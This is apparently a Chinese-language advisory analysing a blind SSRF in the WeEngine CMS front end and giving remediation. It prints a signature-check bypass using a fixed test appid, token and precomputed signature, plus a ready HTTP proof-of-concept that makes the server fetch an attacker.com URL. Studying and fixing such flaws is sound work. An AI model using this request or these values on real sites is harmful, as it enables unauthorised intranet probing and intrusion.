微擎最新版前台某处无回显SSRF漏洞
字数 1162 2025-08-09 19:14:07
微擎最新版前台无回显SSRF漏洞分析与利用
漏洞概述
微擎系统最新版(v2.7.6)前台存在一处无回显SSRF(Server-Side Request Forgery)漏洞,攻击者可通过构造特定请求利用该漏洞发起服务器端请求,可能用于内网探测或与其他漏洞结合利用。
影响版本
该漏洞影响范围广泛,从v1.8.2到最新v2.7.6版本均受影响,但不同版本利用方式有所差异。
漏洞分析
漏洞位置
漏洞位于系统安装目录下的api.php文件,具体在analyzeImage函数中:
// api.php 662行
analyzeImage函数直接将$message['picurl']传入ihttp_get函数
ihttp_get函数使用cURL发起请求并设置跟随(跟随重定向),如果能够控制$message['picurl']参数,就能实现任意协议的无回显SSRF。
参数可控性分析
$message参数通过以下路径可控:
start()函数获取POST内容- 进入
$this->account->parse函数解析 - 在
parse函数中(位于/framework/class/account/account.class.php):
public function parse($message) {
// ...
case 'image':
$packet['url'] = $message['PicUrl']; // 直接赋值PicUrl
break;
// ...
}
- 通过
xml2array函数解析XML格式内容,官方文档提供了使用案例
漏洞触发条件
v1.8.2版本触发方式
-
访问
http://target/api.php并满足以下条件:- 传入
appid=wx570bc396a51b8ff8参数 - 绕过
checkSign()验证
- 传入
-
绕过
checkSign()需要提供正确的signature参数:token固定为platformtestaccounttimestamp和nonce可为空- 计算
signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a
v2.7.6版本触发方式
新版本对测试用户做了特殊判断:
protected function getAccountInfo($uniacid) {
if ('wx570bc396a51b8ff8' == $this->account['key']) {
$this->account['key'] = $this->appid;
$this->openPlatformTestCase(); // 会退出执行
}
// ...
}
解决方案:
- 不使用测试用户,通过
$id获取account信息 - Token值存储在
ims_core_cache表中,且默认值固定(从/data/db.php获取) - 重新计算
signature值
漏洞利用POC
v1.8.2版本POC
GET /api.php?appid=wx570bc396a51b8ff8&signature=976a497ee3f68bc655ddcf4e7e7aab97d117ef0a HTTP/1.1
Host: target
Content-Type: application/xml
<xml>
<ToUserName><![CDATA[toUser]]></ToUserName>
<FromUserName><![CDATA[fromUser]]></FromUserName>
<CreateTime>12345678</CreateTime>
<MsgType><![CDATA[image]]></MsgType>
<picurl><![CDATA[http://attacker.com/ssrf]]></picurl>
</xml>
v2.7.6版本POC
需要获取目标系统的Token值(通常为默认值),重新计算signature后构造请求。
修复建议
-
删除测试账户:
- 进入后台"所有平台"
- 将测试账户放入回收站
- 彻底删除
-
修改默认Token值
-
对
picurl参数进行严格过滤和验证
总结
该漏洞虽然是无回显SSRF,但结合其他漏洞可能造成更大危害。漏洞利用的关键在于:
- 理解微擎的消息处理机制
- 掌握不同版本的验证绕过方式
- 获取或计算正确的signature值
审计过程中发现默认Token值固定是一个关键突破点,这在实际渗透测试中也是常见的安全隐患。